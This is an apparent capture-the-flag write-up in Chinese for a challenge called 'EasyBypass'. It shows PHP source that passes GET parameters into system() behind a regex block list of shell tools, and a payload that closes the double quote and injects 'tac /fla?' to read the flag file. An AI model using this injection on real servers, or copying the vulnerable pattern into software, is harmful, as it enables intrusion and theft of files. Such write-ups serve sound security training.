EasyBypass

源码

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];

if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

解题步骤

comm1的过滤比comm2的少，直接在comm1下手
?comm1=index.php";tac /fla?"
由于comm1用双引号把参数作为整个文件名，所以用引号将其闭合即可。